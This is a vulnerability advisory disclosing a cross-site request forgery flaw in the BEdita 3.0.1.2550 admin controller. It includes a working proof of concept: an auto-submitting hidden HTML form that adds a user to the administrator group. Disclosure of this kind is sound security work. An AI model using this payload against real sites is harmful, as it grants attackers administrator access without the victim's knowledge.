Vulnerability ID: HTB22729 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_bedita.html Product: BEdita Vendor: Chialab & ChannelWeb ( http://www.bedita.com/ ) Vulnerable Version: 3.0.1.2550 "betula" and probably prior versions Vendor Notification: 30 November 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "bedita-app/controllers/modules/admin_controller.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/bedita-app/admin/saveUser"; method="post" name="main"> <input type="hidden" name="data[User][id]" value="2"> <input type="hidden" name="data[User][userid]" value="tester"> <input type="hidden" name="data[User][realname]" value="tester"> <input type="hidden" name="data[User][email]" value="email@xxxxxxxxxxx"> <input type="hidden" name="pwd" value=""> <input type="hidden" name="data[User][passwd]" value=""> <input type="hidden" name="data[User][valid]" value="1"> <input type="hidden" name="groups" value=""> <input type="hidden" name="data[groups][administrator]" value="on"> <input type="hidden" name="data[groups][guest]" value="on"> </form> <script> document.main.submit(); </script>
